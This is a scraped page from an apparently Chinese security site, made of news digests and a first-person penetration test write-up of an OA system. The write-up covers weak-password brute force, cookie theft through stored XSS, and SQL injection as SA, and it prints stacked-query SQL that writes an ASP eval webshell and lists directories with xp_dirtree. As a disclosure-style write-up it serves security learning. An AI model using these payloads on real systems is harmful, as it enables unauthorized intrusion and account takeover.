https://threatpost.com/ssrf-flaw-fintech-bank-accounts/179247/ 10、索尼、尼康、Adobe和英特尔等公司成立C2PA联盟对抗"深度伪造"
https://www.cnbeta.com/articles/tech/1259571.htm
记录一次实战GetShell
一、文章前言
本文为记录实战过程中遇到的问题及思考,旨在思路分享及自我总结。文中涉及目标站点为SRC授权站点,为防止漏打码已对实际链接进行了部分删减,如去除了链接目录名等。整个测试过程涉及未授权访问、暴力破解、存储型XSS、SQL注入,到最后拿shell,过程略微曲折。
PS:截至投稿前,已将漏洞提交厂商并验证其已完成修复。
二、信息收集
打开目标站点,为系统登录界面。安装VNC远程协助链接到内网地址,经测试登录无验证码及失败次数锁定,可尝试暴力破解,此处先做信息收集。
目标站点:http://1.2.3.4/login.aspx
脚本:aspx,通过登录页面可知;
服务器:IIS7.5,通过404、403报错页面可得;
数据库:可能为SQL Server,常见组合;
安全防护:未知,对IP进行端口扫描会封一段时间,但测试and 1=1不拦,无WAF或未开启严格的防护策略;
通过查看返回包,发现Server为nginx/1.17.2,判断应该存在反向代理。
三、暴力破解
通过对现有信息的分析,优先选择暴力破解,系统首页登录为密码md5前端加密后传输,此处爆破需选择burp的HASH-MD5后进行爆破。
系统登录失败返回信息都为“登录失败xxx”,无法确认是否存在用户。
查看页面源码发现存在http://1.2.3.4/client/
此页面未对密码进行md5加密,即
首页:http://1.2.3.4/ 密码加密后传输
Client:http://1.2.3.4/client/ 密码明文传输
此处用http://1.2.3.4/client/ 进行爆破,不需要进行MD5加密可提高效率,但使用name500及自定义字典,包括常见测试账号,及3位数字,4位数字,5位数字等组成5000多个用户名,爆破密码123456、888888、111111,结果一个都没爆破到。
当时的思路是先确定用户名,例如工号等,再去爆破其中存在弱口令的账号,并未想着直接爆破admin,因为那时觉得后台可能不在这里登录,现在想想也可以直接盲爆admin用户。
所以那时先收集用户名,使用Google语法,Site:xxx 工号,但并没有收获。针对只有登录界面的系统,只有掌握了用户名的规律,才能提高爆破的机率,此处很有可能是工号。用户名收集无果,便打开了目录扫描,看看有无敏感信息。
四、未授权访问
通过对站点进行目录扫描,存在以下目录及文件。
逐一进行访问:
css.aspx访问弹出登陆超时,跳转登陆界面,禁用js访问空白;
reg.aspx访问为软件注册页面;
main.aspx访问弹登陆超时,跳转登陆界面,禁用js返回页面如下:
查看源码,发现存在main_d.aspx如下:
禁用js访问main_d.aspx返回以下页面:
继续查看源码,发现以下地址。
禁用js访问http://1.2.3.4/MyWork/Richeng/RichengmyList_show.aspx?id=12
点击修改,此处已测试id不存在SQL注入。
该页面存在大量附件,其中有体检附件登记表,点击下载链接如下:
点击下载跳转登陆界面
此处感觉是有任意文件下载,但可能需要登录,后续爆破出账户后可测试。
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls
需下载文件,尝试构造http://1.2.3.4/file/liaotian/201922xx.xls
如上获取到该单位的员工工号,使用excel生成工号列表进行暴力破解。
五、登录系统
上述已获取工号组合,生成01111-05555进行爆破,使用密码123456、111111、888888、123qwe、qwe123、123123、123321。
当使用密码123321时,成功爆破出一个弱口令用户。
使用该账号登录系统
系统功能模块较多,测试前面的文件下载
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls
尝试下载web.config
http://1.2.3.4/file_down.aspx?number=web.config
测试不存在任意文件下载,修改文件后是直接Location到文件,从而下载,
后续对系统的功能点逐个进行测试。
六、文件上传
后台功能主要存在以下4个上传点。
上传点1-印章上传:
上传点2-邮件附件:
上传点3-头像上传:
上传点4:KindEditor 4.1.10 编辑器,貌似无解。
上传点1,文件上传后的路径为:/seal/2021815238.png
此目录未限制禁止脚本执行,但无法上传脚本文件,尝试绕过均失败。
上传点2,文件上传后的路径为:/file/emailfile/2021081523.png
此目录限制了脚本执行,即/file目录下不能执行脚本文件。
此上传点可上传aspx等文件,但上传后后缀为.unknow
后续通过注入点发现上传后缀写在数据库中,可以通过update语句增加后缀,但并无跨目录的方法,即使上传了aspx脚本文件,也无法执行。
上传文件后截图如下:
后续查看数据库,允许上传的文件后缀如下:
上传点3,任意文件上传,上传后路径为/SystemManage/User/file/ 下
测试目录限制脚本执行,无法跨目录。
七、存储型XSS
上面针对后台上传功能测试后无法上传getshell,便考虑是否能找到高权限账号,管理员账号可能有修改上传文件格式的权限。
此时测试邮件存在存储型XSS,发送邮件可以打用户cookie。
发送邮件给自己,收件箱打开时:
可以给管理员发送带XSS的邮件,当管理员打开邮件时,即可以获取管理员的cookie,此处配合server酱,可实现获取cookie后微信提醒通知,同样发送邮件给自己测试。
编写邮件,插入XSS平台payload。
收件箱点开后
微信收到Server酱通知
登录XSS平台查看,成功获取用户cookie信息
此处构造好XSS后,给管理员发送了标题为【问题建议】的邮件,增加管理员打开的概率,即打开邮件可获取管理员的cookie。
同时在邮件选择收件人处,发现组织架构处,可列举所有用户的工号、科室、姓名信息。
故可以收集用户工号,此处发现管理员即为admin,在等待xss的同时,也构造字典对admin进行爆破。
然后竟然成功爆破出了admin的密码,看了下密码在“全国弱口令TOP1000”中没有,如果一开始就爆破admin,可能也爆不出来,个人习惯是爆TOP1000,当初也确定不了管理员就是admin。
此处也说明有一个强字典是多么的重要。
使用admin登录系统后,只多了以下两个功能模块,很失望并没有可以修改上传设置的功能。
测试发现登录管理员也并没啥用,还是无法getshell,既然上传无门,那就寻找注入点,如果是sa的注入点则getshell的机率大很多。
八、SQL注入
于是又重新回到后台各个功能点进行测试,经过一番测试终于发现了一个注入点,链接如下:
测试1=1页面正常
测试1=2页面异常
爆数据库版本信息
如上确认存在SQL注入,使用sqlmap进行利用,当前用户为SA。
测试使用—os-shell命令失败,可能是有安全设备拦截。
此时也对数据库的大致表进行查看,发现了管理后台某个点的文件上传格式可在数据库设置后缀,但无法跨目录,故即使能上传脚本也无法getshell。
九、GetShell
经手工测试注入点支持堆叠注入,此处尝试使用sp_oacreate写马,SQL如下:
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'
但需知道网站根目录,此处可以使用xp_dirtree进行目录遍历,SQL如下:
create table dirs(subdirectory varchar(255),depth int, filee int);
insert dirs exec xp_dirtree 'c:\',1,1
建立表后,先执行以下查询,此处为查询c盘目录下的文件夹及文件:
http://1.2.3.4/WorkFlow/AddWorkFlow_add_Next.aspx?tmp=0.8307731177113578&add=&UpNodeNum=11,&FlowNumber=20189139012187&&&';insert dirs exec xp_dirtree 'c:\',1,1;--&FormId=86&Number=202181414
页面返回正常,则语句执行成功,再去sqlmap查询dirs表下的内容,即为c盘的目录内容:
利用上述方式成功找到网站根目录为d:\OA\ 下。
执行SQL语句写入文件shell.asp
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'d:\OA\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'
打开链接:http://1.2.3.4/shell.asp 空白,中国菜刀连接成功。
上传冰蝎,后续可以进行socks代理,从而进入内网。
通过systeminfo收集系统信息,可用于后续提权。
以上成功获得目标站点shell。
十、总结
渗透测试很多时候需要的细心和耐心再加上一点运气,当我们在后台无法getshell时,可以尝试去找后台的SQL注入,高权限的注入点可以直接写shell。 又或者当我们有一个SQL注入点却没法写shell时,可以尝试读管理员账号密码,登录后台测试是否有文件上传漏洞,从而进行拿shell。关注不同的漏洞危害,并进行组合利用,往往可以达到出其不意的效果。
至此全篇完,感谢阅读,希望您能从中有所收获。
网络安全日报 2022年04月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Juniper修复了多个Contrail 和 Junos OS 中的严重漏洞
https://www.securityweek.com/juniper-networks-patches-vulnerabilities-contrail-networking-junos-os 2、Lazarus Group 针对韩国的化工行业
https://cyware.com/news/lazarus-eyes-chemical-sector-in-south-korea-f26c757a 3、Nozomi Networks Labs 研究人员发现新的 BotenaGo 变种
https://securityboulevard.com/2022/04/new-botenago-variant-discovered-by-nozomi-networks-labs 4、Lakeview Loan Service 遭数据泄露,影响 250 万用户
https://www.nationalmortgagenews.com/news/mortgage-servicer-reveals-data-breach-affecting-2-5-million-users 5、研究人员分享了对PYSA勒索软件组织的深入分析
https://thehackernews.com/2022/04/researchers-share-in-depth-analysis-of.html 6、Beanstalk Farms遭受网络攻击损失了1.8亿美元
https://cryptopotato.com/beanstalk-farms-lost-180m-in-flash-loan-attack-hacker-donates-250k-usdc-to-ukraine 7、 2022 年初以来,谷歌修复了Chrome 中的第三个0day漏洞
https://securityaffairs.co/wordpress/130213/security/google-chrome-zeroday-cve-2022-1364.html 8、PrivateBin修复了其XSS漏洞
https://portswigger.net/daily-swig/xss-vulnerability-in-open-source-tool-privatebin-patched 9、ZLoader C2 服务器在全球运营中中断
https://cyware.com/news/zloader-c2-servers-disrupted-in-global-operation-8763d42f 10、Windows RPC CVE-2022-26809 漏洞引起了安全研究人员的关注
https://www.bleepingcomputer.com/news/microsoft/critical-windows-rpc-cve-2022-26809-flaw-raises-concerns-patch-now/
网络安全日报 2022年04月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、GitHub 称黑客使用被盗的 OAuth 访问令牌入侵了数十个组织
https://thehackernews.com/2022/04/github-says-hackers-breach-dozens-of.html 2、Conti Ransomware Gang 声称对 Nordex 黑客事件负责
https://securityaffairs.co/wordpress/130238/cyber-crime/conti-ransomware-claims-nordex-attack.html 3、Haskers Gang 将 ZingoStealer 恶意软件免费分享给同行
https://thehackernews.com/2022/04/haskers-gang-gives-away-zingostealer.html 4、新的"Enemybot"DDoS 僵尸网络以路由器、Web 服务器为目标
https://www.securityweek.com/new-enemybot-ddos-botnet-targets-routers-web-servers 5、研究人员发现NFT市场Rarible漏洞可导致用户NFT被盗
https://therecord.media/researchers-find-vulnerability-in-rarible-nft-platform/ 6、Conti勒索软件和Karakurt数据勒索组织存在联系
https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/ 7、VMWare修复了其Cloud Director产品中一个高危漏洞
https://www.securityweek.com/critical-code-execution-flaw-haunts-vmware-cloud-director 8、网络钓鱼活动利用SMS向T-Mobile客户发送恶意链接
https://www.bleepingcomputer.com/news/security/t-mobile-customers-warned-of-unblockable-sms-phishing-attacks/ 9、西班牙皇家足球协会的电子邮件帐户和文件被盗
https://www.espn.in/football/spain-esp/story/4642921/spanish-fa-report-cyber-attack-to-police-after-email-accounts-private-texts-stolen 10、研究表明多个会议应用在用户按下禁麦按钮后仍然在监听
https://www.bleepingcomputer.com/news/security/mute-button-in-conferencing-apps-may-not-actually-mute-your-mic/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

